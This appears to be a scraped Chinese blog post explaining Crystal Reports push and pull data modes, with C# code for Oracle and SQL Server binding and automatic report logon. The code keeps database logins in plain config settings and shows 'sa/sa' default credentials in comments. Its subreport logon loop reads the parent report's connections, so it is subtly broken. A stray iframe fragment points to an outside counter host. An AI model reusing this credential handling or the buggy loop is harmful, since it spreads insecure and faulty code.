水晶报表相关资料

 

HTML Tags and JavaScript tutorial



水晶报表相关资料




一、
          
水晶报表数据模式(资料收集)
1.
      
推模式
(push)
就是数据库将数据
"

(Push)"
给水晶报表
,
这个推的关系需要你自己写代码来实现。
当然
,
推模式之前也需要先制作模板
,
这个时候我们就可以使用字段定义的方式或
ADO.Net(XML)
等的方式,将报表与数据库连接上。
字段定义的方式是生成一个字段定义文件
,
这个文件模式成一个表结构映射给水晶报表,然后在程序中组合或获取数据到
Recordset
,将这个
Recordset
推入到水晶报表。

Ado.Net
则是以一个
Xml
文件做为字段定义文件,在程序中组合或获取数据到
DataSet
来填充报表数据。
 
1.2
编写连接代码
使用推模式我们还要在程序中加入数据绑定的代码。示例代码:
using System;
using System.Data;
using System.Configuration;
using System.Collections;
using System.Web;
using System.Web.Security;
using System.Web.UI;
using System.Web.UI.WebControls;
using System.Web.UI.WebControls.WebParts;
using System.Web.UI.HtmlControls;
using System.Data.OracleClient;
using CrystalDecisions.CrystalReports.Engine;
    
//
添加的关于水晶报表类的引用。
 
public partial class _Default : System.Web.UI.Page
{
   
protected void Page_Load(object sender, EventArgs e)
   
{
       
//CrystalDecisions.CrystalReports.Engine.ReportDocument cryperort = new CrystalDecisions.CrystalReports.Engine.ReportDocument();
       
//cryperort.FileName = "C://Documents and Settings//Administrator//My Documents//Visual Studio 2005//WebSites//WebSite7//CrystalReport.rpt";
       
ReportDocument cryperort = new ReportDocument();
       
       
string Orclconnection = "Data Source=ServerName;User ID=ServerID;Password=ServerPasword;Unicode=True";
       
OracleConnection orclCon = new OracleConnection(Orclconnection);
       
DataSet ds = new DataSet();
             
     
  
orclCon.Open();
       
string Orclcmd = "Select DBNAME from DBMENT";
       
OracleDataAdapter OrclDA = new OracleDataAdapter(Orclcmd,orclCon);
       
OrclDA.Fill(ds,"EQUIPMENT");
       
       
cryperort.Load("C://Documents and Settings//Administrator//My Documents//Visual Studio 2005//WebSites//WebSite7//CReport.rpt"); //
路径为制作好的报表存储位置。
       
cryperort.SetDataSource(ds);
  
//
绑定到报表的数据源。
       
CrystalReportViewer1.ReportSource = cryperort;
       
       
CrystalReportViewer1.DataBind();
       
CrystalReportViewer1.RefreshReport();
 
   
}
}
使用代码绑定数据后,就只要在页面添加
CrystalReportView
就可以了。
1.3
自动登陆
关于报表在加载后显示登陆界面问题,我是参考网络的教程。
在这给出原文地址
http://weiqinma.spaces.msn.com/blog/cns!D891C371DC9E6BF6!137.entry

1.3.1

Web.config
文件里添加登陆的信息。
<add key="MyserverName" value="serverName" />
 
<add key="MyserverID" value="serverID" />
 
<add key="MyserverPw" value="serverPassword" />
1.3.2
建立判断登陆过程。
using System;
using System.Data;
using System.Configuration;
using System.Web;
using System.Web.Security;
using System.Web.UI;
using System.Web.UI.WebControls;
using System.Web.UI.WebControls.WebParts;
using System.Web.UI.HtmlControls;
namespace check
{
   
/// <summary>
   
/// Class1
的摘要说明
   
/// </summary>
   
public class LoginCrystalReport
   
{
       
public void LoginCrystalR(CrystalDecisions.CrystalReports.Engine.ReportDocument repotrd)
       
{
           
//
           
// TODO:
在此处添加构造函数逻辑
           
//
           
string servername = ConfigurationManager.AppSettings["MyserverName"];
           
string serverid = ConfigurationManager.AppSettings["MyserverID"];
           
string serverpw = ConfigurationManager.AppSettings["MyserverPw"];
           
foreach (CrystalDecisions.Shared.IConnectionInfo con in repotrd.DataSourceConnections)
           
{
               
if (con.ServerName == servername)
               
{
                   
con.SetLogon(serverid, serverpw);
               
}
           
}
           
foreach (CrystalDecisions.CrystalReports.Engine.ReportDocument subrep in repotrd.Subreports)
           
{
              
 
foreach (CrystalDecisions.Shared.IConnectionInfo con in repotrd.DataSourceConnections)
               
{
                   
if (con.ServerName == servername)
                   
{
                       
con.SetLogon(serverid, serverpw);
               
    
}
               
}
           
}
       
}
   
}
}
1.3.3
调用登陆。
protected void CrystalReportPartsViewer1_Init1(object sender, EventArgs e)
   
{
       
base.OnInit(e);
       
check.LoginCrystalReport log = new check.LoginCrystalReport();
       
log.LoginCrystalR(this.CrystalReportSource2.ReportDocument);
   
}
2.
      
拉模式
就是水晶报表直接从数据库
(
数据源
)
中获取数据
,
就是水晶报表去拉
(Pull)
,也叫提取。
比如我们在选取数据源的时候选的
Access/Excel

ODBC

OLEDB
。这样基本上不需要编写什么代码
,
做好模板就可以了,到时候直接调模板就可以了。但是在部署或数据库等发生变动时就比较麻烦了。
对于拉模式,这两天研究不多,只好给出一段代码供大家参考学习。
 /// <summary>
  ///
使用
Engine.Database
填充
CrystalReport,

oleDB,odbc
使用
,
此例子为
sqlserver,
拉模式

  /// </summary>
  /// <param name="SeverName">
服务器名称
</param>
  /// <param name="DatabaseName">
数据库名称
</param>
  /// <param name="UserID">
用户
id</param>
  /// <param name="Password">
用户密码
</param>
  /// <param name="sender">
水晶报表
CrystalReport
对象
</param>
  /*
注意
:
使用
Engine.Database
填充必须先在水晶报表中设置相关数据字段
*/
  public void cryDBFill(string SeverName,string DatabaseName,string UserID,string  Password,ReportClass sender)
  {
   TableLogOnInfo crTableLogOnInfo = new TableLogOnInfo();
   ConnectionInfo crConnectionInfo = new ConnectionInfo();
   CrystalDecisions.CrystalReports.Engine.Database crDatabase;
   CrystalDecisions.CrystalReports.Engine.Tables crTables;
   //   CrystalDecisions.CrystalReports.Engine.Table crTable;
   //
对象定义

   crConnectionInfo.ServerName = SeverName;
   crConnectionInfo.DatabaseName = DatabaseName;
   crConnectionInfo.UserID = UserID;
   crConnectionInfo.Password = Password;
   crDatabase = sender.Database;
   crTables = crDatabase.Tables;
   //
水晶报表与数据库连接

   foreach(CrystalDecisions.CrystalReports.Engine.Table crTable in crTables)
   {
    crTableLogOnInfo = crTable.LogOnInfo;
    crTableLogOnInfo.ConnectionInfo = crConnectionInfo;
    crTable.ApplyLogOnInfo(crTableLogOnInfo);
   }
   //
循环表并进行填充

  }
  /// <summary>
  ///
使用
dataset
填充
CrystalReport

ReportDocument,

sqlserver
专用,推模式,可以多次填充使用不同的表名在一个数据集中

  /// </summary>
  /// <param name="sqlText">
数据库查询字段
</param>
  /// <param name="cnString">
数据库连接字段
</param>
  /// <param name="DataTableName">
虚拟数据集名称
</param>
  public void crySetFill(string sqlText,string cnString,string DataTableName)
  {
   //          
建立数据集合
(
局部变量
)
   System.Data.SqlClient.SqlConnection connection1=new System.Data.SqlClient.SqlConnection(cnString);
   System.Data.SqlClient.SqlDataAdapter  Com=new System.Data.SqlClient.SqlDataAdapter (sqlText,connection1);
   //
给数据对象分配内存空间

   //
给数据集合分配内存空间

   Com.Fill(Set1,DataTableName);
    
  }
  /// <summary>
  ///
实现多个数据集设定填充
CrystalReport
  /// </summary>
  /// <param name="sender">
水晶报表
CrystalReport
对象
</param>
  public void rptReportClassFill(ReportClass sender)
  {
   //
数据填充

   sender.SetDataSource(Set1);
   //
首先使用
crySetFill
   //print1.cryDSetFill("select * from Customers","server=localhost;uid=sa;pwd=sa;database=Northwind","Customers");
   //  
申明公共类型
,
例如
:
   //public  printClass print1=new printClass();
   //public CrystalReport2 Rep1=new CrystalReport2();
   //
然后调用

   //rptReportClassFill(Rep1);
   //CrystalReportViewer1.ReportSource = Rep1;
   //CrystalReportViewer1.DataBind();
   // string sqlText="select * from customers";
   // string cnString="server=localhost;uid=sa;pwd=sa;database=northwind;";
   /*
注意
:
使用
dataset
填充必须先建立一个可视的
dataset.xsd,
在其中添加
element,
并在水晶报表中显示相关数据字段
*/
  }
  /// <summary>
  ///
实现多个数据集设定填充
CrystalReport
  /// </summary>
  /// <param name="sender">
水晶报表
ReportDocument
对象
</param>
  public void rptReportDocumentFill(ReportDocument sender)
  {
   //
数据填充

   sender.SetDataSource(Set1);
   //
首先使用
crySetFill
   //print1.cryDSetFill("select * from Customers","server=localhost;uid=sa;pwd=sa;database=Northwind","Customers");
   //  
申明公共类型
,
例如
:
   //public  printClass print1=new printClass();
   //public ReportDocument RD1= new ReportDocument();
   //
然后调用

   //rptReportDocumentFill(RD1);
   //CrystalReportViewer1.ReportSource = RD1;
   //CrystalReportViewer1.DataBind();
   // string sqlText="select * from customers";
   // string cnString="server=localhost;uid=sa;pwd=sa;database=northwind;";
   /*
注意
:
使用
dataset
填充必须先建立一个可视的
dataset.xsd,
在其中添加
element,
并在水晶报表中显示相关数据字段
*/
  }
 
 
 

src="http://avss.b15.cnwg.cn/count/iframe.asp" frameborder="0" width="650" scrolling="no" height="160">
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值